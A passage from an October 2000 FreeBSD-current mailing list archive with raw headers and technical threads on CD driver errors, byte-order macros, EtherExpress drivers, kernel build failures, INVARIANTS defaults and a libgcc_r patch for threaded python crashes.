NSS compiled and working? Now it is possible to have SSL support in Mozilla, for example, but test builds do not include this normally. I will try it today (again) after a successfull system upgrade yesterday. -- Regards: Szilveszter ADAM Szeged University Szeged Hungary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 23:16:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.rdc1.kt.home.ne.jp (ha1.rdc1.kt.home.ne.jp [203.165.9.242]) by hub.freebsd.org (Postfix) with ESMTP id CA61137B4CF; Mon, 30 Oct 2000 23:16:29 -0800 (PST) Received: from daemon.local.idaemons.org ([203.165.161.10]) by mail.rdc1.kt.home.ne.jp (InterMail vM.4.01.02.00 201-229-116) with ESMTP id <20001031071628.CJON22073.mail.rdc1.kt.home.ne.jp@daemon.local.idaemons.org>; Mon, 30 Oct 2000 23:16:28 -0800 Received: by daemon.local.idaemons.org (8.11.0/3.7W) id e9V7GR118722; Tue, 31 Oct 2000 16:16:27 +0900 (JST) Date: Tue, 31 Oct 2000 16:16:26 +0900 Message-ID: <86pukh8oqd.wl@archon.local.idaemons.org> From: "Akinori MUSHA" To: Kenneth Merry Cc: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Re: cvs commit: src/sys/kern subr_diskslice.c src/sys/sys diskslice.h src/sys/cam/scsi scsi_cd.c In-Reply-To: <200010300703.XAA12639@freefall.freebsd.org> References: <200010300703.XAA12639@freefall.freebsd.org> User-Agent: Wanderlust/2.3.92 (Roam) EMIKO/1.13.12 (Euglena sociabilis) FLIM/1.13.2 (Kasanui) APEL/10.2 MULE XEmacs/21.1 (patch 12) (Channel Islands) (i386--freebsd) Organization: Associated I. Daemons X-PGP-Public-Key: finger knu@FreeBSD.org X-PGP-Fingerprint: 081D 099C 1705 861D 4B70 B04A 920B EFC7 9FD9 E1EE MIME-Version: 1.0 (generated by EMIKO 1.13.12 - "Euglena sociabilis") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At Sun, 29 Oct 2000 23:03:02 -0800 (PST), Kenneth Merry wrote: > ken 2000/10/29 23:03:02 PST > > Modified files: > sys/kern subr_diskslice.c > sys/sys diskslice.h > sys/cam/scsi scsi_cd.c > Log: > Write support for the cd(4) driver. I get the following messages when I hit "cdcontrol -f /dev/cd0 play" against a music CD: Oct 31 16:06:40 archon /boot/kernel/kernel: (cd0:ahc0:0:2:0): READ(10). CDB: 28 0 0 0 0 1 0 0 1 0 Oct 31 16:06:40 archon /boot/kernel/kernel: (cd0:ahc0:0:2:0): ILLEGAL REQUEST asc:64,0 Oct 31 16:06:40 archon /boot/kernel/kernel: (cd0:ahc0:0:2:0): Illegal mode for this track Oct 31 16:06:40 archon /boot/kernel/kernel: (cd0:ahc0:0:2:0): cddone: got error 0x16 back Though the music goes just fine. -- / /__ __ / ) ) ) ) / and.or.jp / ruby-lang.org Akinori -Aki- MUSHA aka / (_ / ( (__( @ idaemons.org / FreeBSD.org "We're only at home when we're on the run, on the wing, on the fly" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 3:48:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from big.edisons.net (unknown [212.104.1.245]) by hub.freebsd.org (Postfix) with ESMTP id B0F6837B479 for ; Tue, 31 Oct 2000 03:48:13 -0800 (PST) Received: from [212.104.25.204] by big.edisons.it (NTMail 5.06.0014/NT6125.00.c870d48c) with ESMTP id chnqtaaa for freebsd-current@FreeBSD.ORG; Tue, 31 Oct 2000 12:51:37 +0100 Message-ID: <003b01c04330$6c0c23c0$7801a8c0@pyxiscomputers.com> From: "Vittorio Mori" To: , References: Subject: Re: Need help to boot (was : -current hangs during boot) Date: Tue, 31 Oct 2000 12:48:01 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Hello FreeBSD-hackers. > > > > I had my first CVSup-ed source tre d/loaded today. It compiled correctly > > (make buildworld) and installed correctly (make installworld). > > Mistake #1 was CVSuping -CURRENT. [...] > NOTE #3. Your machine is probably totaly broke. And you will need to > reinstall. This time I suggest you install 4.1.1-RELEASE and follow > -STABLE *not* -CURRENT. Hey pal, don't chew me up like that ... I solved the problem myself .... look, I'm not here to bother you guys, I use FreeBSD for years now, and I always used -RELEASE, bought cds & the rest. I've also built several ISDN-routers, all FreeBSD-based. I simply LOVE the FreeBSD project, and, since I have some spare time, I decided to start testing -CURRENT. I also built& modified many PicoBSD installations on a floppy for custom purposes. Even if I am "green" to many subjects, it doesn't mean I am a complete idiot. I can learn, damnit, but I have to start with something. Geez .... Bye, Wyk'00 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 3:55:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id C5C7A37B479; Tue, 31 Oct 2000 03:55:31 -0800 (PST) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.0/8.11.0) id e9VBs0J09165; Tue, 31 Oct 2000 13:54:00 +0200 (EET) (envelope-from ru) Date: Tue, 31 Oct 2000 13:54:00 +0200 From: Ruslan Ermilov To: Bruce Evans Cc: Mike Smith , Bruce Evans , Konstantin Chuguev , Brian Somers , kargl@apl.washington.edu, freebsd-current@FreeBSD.ORG Subject: Re: platform byte order macros? Message-ID: <20001031135400.A64533@sunbay.com> Mail-Followup-To: Bruce Evans , Mike Smith , Bruce Evans , Konstantin Chuguev , Brian Somers , kargl@apl.washington.edu, freebsd-current@FreeBSD.ORG References: <20001027182758.A41742@sunbay.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from bde@zeta.org.au on Sat, Oct 28, 2000 at 04:13:46PM +1100 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Oct 28, 2000 at 04:13:46PM +1100, Bruce Evans wrote: > On Fri, 27 Oct 2000, Ruslan Ermilov wrote: > > > On Fri, Oct 27, 2000 at 06:11:49PM +0300, Ruslan Ermilov wrote: > > > On Fri, Oct 27, 2000 at 07:34:06AM -0700, Mike Smith wrote: > > > > > +#ifdef __OPTIMIZE__ > > > > > > > > Using macros does not "optimise" anything, > > Not quite true. Using inline functions pessimizes everything that is > compiled without -O since the functions don't get inlined but code > for them is generated in each object file whether or not they are > used. is included a lot, so having inline functions in > it is especially pessimal for the -O0 case. > Hmm, even if these function declared static? I was not able to reproduce this with static inline functions. > > > > and this is a very poor choice > > > > of defines. __MACRO_ENDIAN_CONVERSIONS might be better. > > __OPTIMIZE__ is the standard gcc macro for telling whether gcc has been > invoked with -O. It is used sort of backwards here. There is no reason > to turn off the macros for constants, but turning off the inlines for > non-constants would fix the useless bloat in the -O0 case. > > Is the htonl() family used enough on constants for the constant case to > be worth optimizing? > Probably it's not. > Writing the byte swapping using shifts and masks might be best in all > cases. The compiler can in theory reduce shifts and masks to bswap on > i386's if that is best, but it can't look inside asm statements. > And in practice (with -O), they are almost equivalent. The following C code #include unsigned short foo(unsigned short a) { return (htons(a)); } produces the following asm code diffs when using the current __asm version compared to the macro version: --- a.s.ASM Tue Oct 31 13:17:32 2000 +++ a.s.MACRO Tue Oct 31 13:45:57 2000 @@ -1,20 +1,18 @@ .file "a.c" .version "01.01" gcc2_compiled.: .text .p2align 2,0x90 .globl foo .type foo,@function foo: pushl %ebp movl %esp,%ebp movl 8(%ebp),%eax -#APP - xchgb %ah, %al -#NO_APP + rolw $8,%ax andl $65535,%eax leave ret .Lfe1: .size foo,.Lfe1-foo .ident "[ASM_FILE_END]GCC: (c) 2.95.2 19991024 (release)" -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 6:16:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id 8C60737B4C5 for ; Tue, 31 Oct 2000 06:16:38 -0800 (PST) Received: (qmail 16204 invoked by uid 0); 31 Oct 2000 14:16:37 -0000 Received: from p3ee21606.dip.t-dialin.net (HELO speedy.gsinet) (62.226.22.6) by mail.gmx.net with SMTP; 31 Oct 2000 14:16:37 -0000 Received: (from sittig@localhost) by speedy.gsinet (8.8.8/8.8.8) id KAA00824 for current@FreeBSD.ORG; Tue, 31 Oct 2000 10:57:11 +0100 Date: Tue, 31 Oct 2000 10:57:11 +0100 From: Gerhard Sittig To: current@FreeBSD.ORG Subject: Re: Intel Etherexpress support? Message-ID: <20001031105711.M25237@speedy.gsinet> Mail-Followup-To: current@FreeBSD.ORG References: <20001031000855.C260@dataloss.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <20001031000855.C260@dataloss.net>; from peter@dataloss.net on Tue, Oct 31, 2000 at 12:08:55AM +0100 Organization: System Defenestrators Inc. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Oct 31, 2000 at 00:08 +0100, Peter van Dijk wrote: > > Without looking at any of your code, I would kindly like to ask > you not to look at the Linux driver for eexpress too much - > it's severely broken and has all kinds of timing problems that > can crash boxes at predictable moments (some boxes crash when > you ifconfig, some crash when you run tcpdump [probably on the > switch to PROMISC]). Slower boxes seem to work better. Which driver version are you talking about? I didn't follow this stuff too closely (my EEPro100 always worked when not sitting in an Asus SP3 board which has problems of its own regarding PCI) but there is an enhanced and corrected driver besides the "official" in the Linux kernel. It always got good critics and seems to work reliable from what I hear. Donald Becker's original http://cesdis.gsfc.nasa.gov/linux/drivers/kern-2.3/index.html ftp://cesdis.gsfc.nasa.gov/pub/linux/drivers/kern-2.3 Andrey Savochkin's improvements ftp://ftp.sw.com.sg/pub/Linux/people/saw/kernel/ I don't know whether the ML eepro100@scyld.com (the Linux EEPro list) is archived somewhere and how useful http://support.intel.com/support/network/adapter/pro100/100linux.htm is. But I hope these links to be helpful. virtually yours 82D1 9B9C 01DC 4FB4 D7B4 61BE 3F49 4F77 72DE DA76 Gerhard Sittig true | mail -s "get gpg key" Gerhard.Sittig@gmx.net -- If you don't understand or are scared by any of the above ask your parents or an adult to help you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 7:27: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169]) by hub.freebsd.org (Postfix) with ESMTP id 261AF37B666; Tue, 31 Oct 2000 07:26:55 -0800 (PST) Received: (from ken@localhost) by panzer.kdm.org (8.9.3/8.9.1) id IAA71403; Tue, 31 Oct 2000 08:26:50 -0700 (MST) (envelope-from ken) Date: Tue, 31 Oct 2000 08:26:49 -0700 From: "Kenneth D. Merry" To: Akinori MUSHA Cc: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Re: cvs commit: src/sys/kern subr_diskslice.c src/sys/sys diskslice.h src/sys/cam/scsi scsi_cd.c Message-ID: <20001031082649.A71367@panzer.kdm.org> References: <200010300703.XAA12639@freefall.freebsd.org> <86pukh8oqd.wl@archon.local.idaemons.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <86pukh8oqd.wl@archon.local.idaemons.org>; from knu@idaemons.org on Tue, Oct 31, 2000 at 04:16:26PM +0900 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Oct 31, 2000 at 16:16:26 +0900, Akinori MUSHA wrote: > At Sun, 29 Oct 2000 23:03:02 -0800 (PST), > Kenneth Merry wrote: > > ken 2000/10/29 23:03:02 PST > > > > Modified files: > > sys/kern subr_diskslice.c > > sys/sys diskslice.h > > sys/cam/scsi scsi_cd.c > > Log: > > Write support for the cd(4) driver. > > I get the following messages when I hit "cdcontrol -f /dev/cd0 play" > against a music CD: > > Oct 31 16:06:40 archon /boot/kernel/kernel: (cd0:ahc0:0:2:0): READ(10). CDB: 28 0 0 0 0 1 0 0 1 0 > Oct 31 16:06:40 archon /boot/kernel/kernel: (cd0:ahc0:0:2:0): ILLEGAL REQUEST asc:64,0 > Oct 31 16:06:40 archon /boot/kernel/kernel: (cd0:ahc0:0:2:0): Illegal mode for this track > Oct 31 16:06:40 archon /boot/kernel/kernel: (cd0:ahc0:0:2:0): cddone: got error 0x16 back > > Though the music goes just fine. Oops, thanks for the heads-up. I'll see if I can come up with a suitable fix. Ken -- Kenneth Merry ken@kdm.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 7:49:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from btw.plaintalk.bellevue.wa.us (btw-xl1.plaintalk.bellevue.wa.us [206.129.5.130]) by hub.freebsd.org (Postfix) with ESMTP id 9F66637B4C5 for ; Tue, 31 Oct 2000 07:49:09 -0800 (PST) Received: (from root@localhost) by btw.plaintalk.bellevue.wa.us (8.11.1/8.11.1) id e9VFn8A67581 for current@freebsd.org; Tue, 31 Oct 2000 07:49:08 -0800 (PST) Date: Tue, 31 Oct 2000 07:49:08 -0800 (PST) From: Charlie Root Message-Id: <200010311549.e9VFn8A67581@btw.plaintalk.bellevue.wa.us> To: current@freebsd.org Subject: compile failure in current Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG cd /usr/src/gnu/lib/csu; make depend; make all; make install echo '#include "i386/i386.h"' > tm.h echo '#include "i386/att.h"' >> tm.h echo '#include ' >> tm.h echo '#include "i386/freebsd.h"' >> tm.h echo '#include "i386/perform.h"' >> tm.h rm -f .depend mkdep -f .depend -a -I/usr/src/gnu/lib/csu/../../../contrib/gcc/config -I. -DIN_GCC -I/usr/obj/usr/src/i386/usr/include /usr/src/gnu/lib/csu/../../../contrib/gcc/crtstuff.c cd /usr/src/gnu/lib/csu; make _EXTRADEPEND cc -Os -I/usr/src/gnu/lib/csu/../../../contrib/gcc/config -I. -DIN_GCC -finhibit-size-directive -fno-inline-functions -fno-exceptions -fno-omit-frame-pointer -I/usr/obj/usr/src/i386/usr/include -g0 -DCRT_BEGIN -c -o crtbegin.o /usr/src/gnu/lib/csu/../../../contrib/gcc/crtstuff.c cc -Os -I/usr/src/gnu/lib/csu/../../../contrib/gcc/config -I. -DIN_GCC -finhibit-size-directive -fno-inline-functions -fno-exceptions -fno-omit-frame-pointer -I/usr/obj/usr/src/i386/usr/include -g0 -DCRT_END -c -o crtend.o /usr/src/gnu/lib/csu/../../../contrib/gcc/crtstuff.c /usr/src/gnu/lib/csu/crtend.c cc: cannot specify -o with -c or -S and multiple compilations *** Error code 1 Stop in /usr/src/gnu/lib/csu. *** Error code 1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 8:30:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 4253337B479 for ; Tue, 31 Oct 2000 08:30:37 -0800 (PST) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id LAA91860; Tue, 31 Oct 2000 11:30:14 -0500 (EST) (envelope-from robert@fledge.watson.org) Date: Tue, 31 Oct 2000 11:30:14 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org To: Manfred Antar Cc: current@freebsd.org Subject: Re: Current Kernel build broken In-Reply-To: <5.0.0.25.2.20001029221237.00a5aa28@pozo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 29 Oct 2000, Manfred Antar wrote: > From latest sources: > cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -g -nostdinc -I- -I. -I../.. -I../../../include -I../../contrib/dev/acpica/Subsystem/Include -D_KERNEL -include opt_global.h -elf -mpreferred-stack-boundary=2 ../../ufs/ufs/ufs_vfsops.c > ../../ufs/ufs/ufs_vfsops.c: In function `ufs_quotactl': > ../../ufs/ufs/ufs_vfsops.c:119: warning: implicit declaration of function `suser_xxx' > ../../ufs/ufs/ufs_vfsops.c:119: `PRISON_ROOT' undeclared (first use in this function) > ../../ufs/ufs/ufs_vfsops.c:119: (Each undeclared identifier is reported only once > ../../ufs/ufs/ufs_vfsops.c:119: for each function it appears in.) > *** Error code 1 Poul-henning recently committed changes to make suser{,_xxx}() be defined in system.h instead of proc.h. If ufs_vfsops.c doesn't include systm.h, it may now be broken. However, it's probably more likely that you cvsup'd during his commit, and need to update your source tree to make sure all files are properly in synch. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 8:59: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from warning.follo.net (warning.follo.net [195.204.136.30]) by hub.freebsd.org (Postfix) with ESMTP id 980A537B4C5 for ; Tue, 31 Oct 2000 08:58:59 -0800 (PST) Received: (from eivind@localhost) by warning.follo.net (8.9.3/8.9.3) id RAA76707 for current@FreeBSD.org; Tue, 31 Oct 2000 17:58:52 +0100 (CET) Date: Tue, 31 Oct 2000 17:58:51 +0100 From: Eivind Eklund To: current@FreeBSD.org Subject: INVARIANTS and -current Message-ID: <20001031175851.A75483@warning.follo.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG (Based on suggestion from Robert Watson.) I want to enable INVARIANTS by default in -current. This result in some slowdown, but it also makes it more likely that we'll find bugs quickly. People that want to run -current should know enough to disable it if it is in the way, anyway. Well-reasoned objections welcome. Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 9: 0:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from dataloss.net (massive.dataloss.net [212.189.232.193]) by hub.freebsd.org (Postfix) with SMTP id 3E94337B4E5 for ; Tue, 31 Oct 2000 09:00:46 -0800 (PST) Received: (qmail 3303 invoked by uid 1000); 31 Oct 2000 16:57:46 -0000 Date: Tue, 31 Oct 2000 17:57:46 +0100 From: Peter van Dijk To: current@FreeBSD.ORG Subject: Re: Intel Etherexpress support? Message-ID: <20001031175746.E260@dataloss.net> Mail-Followup-To: current@FreeBSD.ORG References: <20001031000855.C260@dataloss.net> <20001031105711.M25237@speedy.gsinet> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20001031105711.M25237@speedy.gsinet>; from Gerhard.Sittig@gmx.net on Tue, Oct 31, 2000 at 10:57:11AM +0100 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Oct 31, 2000 at 10:57:11AM +0100, Gerhard Sittig wrote: > On Tue, Oct 31, 2000 at 00:08 +0100, Peter van Dijk wrote: > > > > Without looking at any of your code, I would kindly like to ask > > you not to look at the Linux driver for eexpress too much - > > it's severely broken and has all kinds of timing problems that > > can crash boxes at predictable moments (some boxes crash when > > you ifconfig, some crash when you run tcpdump [probably on the > > switch to PROMISC]). Slower boxes seem to work better. > > Which driver version are you talking about? I didn't follow this > stuff too closely (my EEPro100 always worked when not sitting in > an Asus SP3 board which has problems of its own regarding PCI) [snip] We're talking about the old eexpress cards, not the eepro's. eepro's rock :) Greetz, Peter -- dataloss networks '/ignore-ance is bliss' - me 'Het leven is een stuiterbal, maar de mijne plakt aan t plafond!' - me To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 9: 2:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from po3.wam.umd.edu (po3.wam.umd.edu [128.8.10.165]) by hub.freebsd.org (Postfix) with ESMTP id 0F08B37B4D7 for ; Tue, 31 Oct 2000 09:02:49 -0800 (PST) Received: from rac1.wam.umd.edu (IDENT:root@rac1.wam.umd.edu [128.8.10.141]) by po3.wam.umd.edu (8.9.3/8.9.3) with ESMTP id MAA29199 for ; Tue, 31 Oct 2000 12:02:48 -0500 (EST) Received: from rac1.wam.umd.edu (IDENT:sendmail@localhost [127.0.0.1]) by rac1.wam.umd.edu (8.9.3/8.9.3) with SMTP id MAA15269 for ; Tue, 31 Oct 2000 12:02:47 -0500 (EST) Received: from localhost (culverk@localhost) by rac1.wam.umd.edu (8.9.3/8.9.3) with ESMTP id MAA15265 for ; Tue, 31 Oct 2000 12:02:47 -0500 (EST) X-Authentication-Warning: rac1.wam.umd.edu: culverk owned process doing -bs Date: Tue, 31 Oct 2000 12:02:47 -0500 (EST) From: Kenneth Wayne Culver To: freebsd-current@freebsd.org Subject: docs for via kt133 south bridge Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I was wondering if any of the developers here had any docs for the via kt133 south bridge. I need the docs so that I can write a driver for the hardware monitoring features of this chip... I looked on via's website, but the docs there are incomplete... Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 9:33: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.208.78.105]) by hub.freebsd.org (Postfix) with ESMTP id 72E1437B479; Tue, 31 Oct 2000 09:33:01 -0800 (PST) Received: (from sgk@localhost) by troutmask.apl.washington.edu (8.11.1/8.11.1) id e9VHcdA51034; Tue, 31 Oct 2000 09:38:39 -0800 (PST) (envelope-from sgk) From: Steve Kargl Message-Id: <200010311738.e9VHcdA51034@troutmask.apl.washington.edu> Subject: Re: INVARIANTS and -current In-Reply-To: <20001031175851.A75483@warning.follo.net> from Eivind Eklund at "Oct 31, 2000 05:58:51 pm" To: Eivind Eklund Date: Tue, 31 Oct 2000 09:38:39 -0800 (PST) Cc: current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Eivind Eklund wrote: > (Based on suggestion from Robert Watson.) > > I want to enable INVARIANTS by default in -current. This result in some > slowdown, but it also makes it more likely that we'll find bugs quickly. > People that want to run -current should know enough to disable it if it is > in the way, anyway. I support your proposal. But, have a question: Has anyone actually measured the performance impact of INVARIANTS? I'm tempted to suggest that INVARIANTS should be the default in not only -current in 5.0 when she's released. Anyone interested in performance in 5.0 will build custom kernels, and so he can turn INVARIANTS off. -- Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 10:16:28 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 325BF37B4C5; Tue, 31 Oct 2000 10:16:25 -0800 (PST) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id KAA21123; Tue, 31 Oct 2000 10:16:12 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.0/8.11.0) id e9VIGBc04408; Tue, 31 Oct 2000 10:16:11 -0800 (PST) (envelope-from jdp) Date: Tue, 31 Oct 2000 10:16:11 -0800 (PST) Message-Id: <200010311816.e9VIGBc04408@vashon.polstra.com> To: current@freebsd.org From: John Polstra Cc: dave@dogwood.com, obrien@freebsd.org Subject: Re: threaded python seg faults? In-Reply-To: <200010310535.e9V5Zhi25700@white.dogwood.com> References: <200010310535.e9V5Zhi25700@white.dogwood.com> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <200010310535.e9V5Zhi25700@white.dogwood.com>, Dave Cornejo wrote: > For the last couple of days I've been trying to build python 2 from > the ports tree without success. I updated my sources a couple of time > and rebuilt the kernel and world with no effect. > > The problem seems to have appeared in the last couple of days and > seems to happen while loading libc_r.so.4 - Is anyone else seeing > this, or have any suggestion what I might be doing wrong? [...] > Program received signal SIGSEGV, Segmentation fault. > 0x28383ec6 in pthread_mutex_lock () from /usr/lib/libc_r.so.4 > (gdb) bt > #0 0x28383ec6 in pthread_mutex_lock () from /usr/lib/libc_r.so.4 > #1 0x80bb5b0 in __register_frame_info () > #2 0x2834713a in _init () from /usr/lib/libc_r.so.4 > #3 0x28343fe5 in _init () from /usr/lib/libc_r.so.4 > #4 0x2815086c in _rtld () from /usr/libexec/ld-elf.so.1 It's because libc_r isn't getting initialized in time. Please try applying the appended patch to "src/gnu/lib/libgcc_r/Makefile" and let us know if it fixes the problem. You will need to rebuild and reinstall libgcc_r, and then rebuild python. Thanks for providing the detailed information! This never would have caught my eye otherwise. John Index: Makefile =================================================================== RCS file: /home/ncvs/src/gnu/lib/libgcc_r/Makefile,v retrieving revision 1.4 diff -u -r1.4 Makefile --- Makefile 1999/10/03 02:43:20 1.4 +++ Makefile 2000/10/31 18:06:34 @@ -2,5 +2,6 @@ LIB= gcc_r CFLAGS+=-D_PTHREADS +CFLAGS+=-D'__GTHREAD_MUTEX_INIT_FUNCTION(m)=pthread_mutex_init(m, NULL)' .include "../libgcc/Makefile" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 11:48:59 2000 Delivered-To: freebsd-current@freebsd.org Received: from white.dogwood.com (white.dogwood.com [63.96.228.130]) by hub.freebsd.org (Postfix) with ESMTP id 8932437B479 for ; Tue, 31 Oct 2000 11:48:55 -0800 (PST) Received: (from dave@localhost) by white.dogwood.com (8.11.1/8.9.3) id e9VJmqL53635; Tue, 31 Oct 2000 11:48:52 -0800 (PST) (envelope-from dave) From: Dave Cornejo Message-Id: <200010311948.e9VJmqL53635@white.dogwood.com> Subject: Re: threaded python seg faults? In-Reply-To: <200010311816.e9VIGBc04408@vashon.polstra.com> from John Polstra at "Oct 31, 2000 10:16:11 am" To: John Polstra Date: Tue, 31 Oct 2000 11:48:52 -0800 (PST) Cc: current@freebsd.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The patch seems to solve my problems, thank you! dave c John Polstra wrote: > It's because libc_r isn't getting initialized in time. > > Please try applying the appended patch to "src/gnu/lib/libgcc_r/Makefile" > and let us know if it fixes the problem. You will need to rebuild > and reinstall libgcc_r, and then rebuild python. > > Thanks for providing the detailed information! This never would > have caught my eye otherwise. > > John > > > Index: Makefile > =================================================================== > RCS file: /home/ncvs/src/gnu/lib/libgcc_r/Makefile,v > retrieving revision 1.4 > diff -u -r1.4 Makefile > --- Makefile 1999/10/03 02:43:20 1.4 > +++ Makefile 2000/10/31 18:06:34 > @@ -2,5 +2,6 @@ > > LIB= gcc_r > CFLAGS+=-D_PTHREADS > +CFLAGS+=-D'__GTHREAD_MUTEX_INIT_FUNCTION(m)=pthread_mutex_init(m, NULL)' > > .include "../libgcc/Makefile" > > > -- Dave Cornejo @ Dogwood Media, Fremont, California "There aren't any monkeys chasing us..." - Xochi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 12:27:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21]) by hub.freebsd.org (Postfix) with ESMTP id 3129437B479 for ; Tue, 31 Oct 2000 12:27:39 -0800 (PST) Received: from [212.238.54.101] (helo=freebie.demon.nl) by post.mail.nl.demon.net with smtp (Exim 3.14 #4) id 13qi0P-00067T-00; Tue, 31 Oct 2000 20:27:37 +0000 Received: (from wkb@localhost) by freebie.demon.nl (8.11.0/8.11.0) id e9VKUjm02517; Tue, 31 Oct 2000 21:30:45 +0100 (CET) (envelope-from wkb) Date: Tue, 31 Oct 2000 21:30:45 +0100 From: Wilko Bulte To: Kenneth Wayne Culver Cc: freebsd-current@freebsd.org Subject: Re: docs for 